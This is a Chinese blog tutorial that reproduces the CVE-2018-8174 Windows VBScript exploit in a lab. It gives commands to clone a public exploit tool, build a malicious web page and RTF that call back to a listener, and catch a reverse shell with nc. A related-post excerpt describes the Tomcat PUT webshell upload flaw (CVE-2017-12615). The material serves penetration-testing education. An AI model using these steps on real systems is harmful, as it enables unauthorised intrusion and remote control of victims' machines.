CVE-2018-8174漏洞获取shell复现

今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2018-8174漏洞获取shell复现。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、CVE-2018-8174漏洞简介

CVE-2018-8174漏洞是Windows VBScript Engine代码执行漏洞,该漏洞利用最新版本的IE浏览器内核的应用程序。利用该漏洞,用户在浏览网页或者是打开Office文档时都有可能被黑客所控制。微软官方在2018年4月20日早上确认该漏洞,并于2018年5月8号发布官方安全补丁,对该漏洞进行了修复,并将其命名为CVE-2018-8174。

二、利用漏洞生成网页

今天,我们就利用该漏洞,对目标Windows7的主机进行渗透测试。
首先,我们先下载该漏洞的利用工具,执行命令:

git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git

即可将该漏洞的利用工具下载下来,该命令执行结果如下所示:
在这里插入图片描述
该命令执行后,我们会看到在当前目录下出现了一个名为CVE-2018-8174_EXP的目录,我们进入该目录,然后执行命令:

python CVE-2018-8174.py -u http://192.168.136.199/exploit.html -o exp.rtf -i 192.168.136.199 -p 4444

-u参数表示生成漏洞利用html文档,-o参数表示输出生成的文档,-i参数表示该漏洞的payload要访问的IP地址,-p参数为该漏洞payload的端口号,该目录执行结果如下所示:
在这里插入图片描述
之后,我们将生成的exploit.html复制到/var/www/html/目录中,并打开apache2服务。
之后,我们使用nc命令在4444端口上开启监听,执行命令:

nc -lvvp 4444

该命令执行结果如下所示:
在这里插入图片描述

三、效果检验

在完成上述操作后,我们在一台Windows7设备上,使用IE浏览器,访问该页面,结果如下所示:
在这里插入图片描述
此时,我们的nc命令上也收到了来自windows的反弹shell,我们可以在该shell上执行命令了。过程如下所示:
在这里插入图片描述
从上图可以知道,我们利用CVE-2018-8174漏洞,成功拿到了目标主机的shell。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
9 月 19 日,腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞CVE-2017-12616)、远程代码执行漏洞CVE-2017-12615),在某些场景下,攻击者将分别能通过这两个漏洞获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码。      云鼎实验室通过对于漏洞描述,搭建漏洞环境,并对其进行复现。此漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 webshell,并控制服务器。 复现 根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。    通过阅读 conf/web.xml 文件,可以发现:   默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。   配置 readonly 为 false: 启动 Tomcat,利用 PUT 请求创建文件: 提示 404。通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:  访问发现可以正常输出:  分析 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:   可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时: 会调用resources.rebind: dirContext 为FileDirContext: 调用 rebind创建文件: 又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。 Bypass 分析 然而,经过黑盒测试,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 LinuxWindows 服务器,并且 Bypass 了之前的补丁,分析如下。  在进入 bind 函数时,会声明一个 File 变量: 进入 File 后,会对 name 进行 normalize 最后得到的 path 就是没有最后 / 的 path 了: 影响  由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值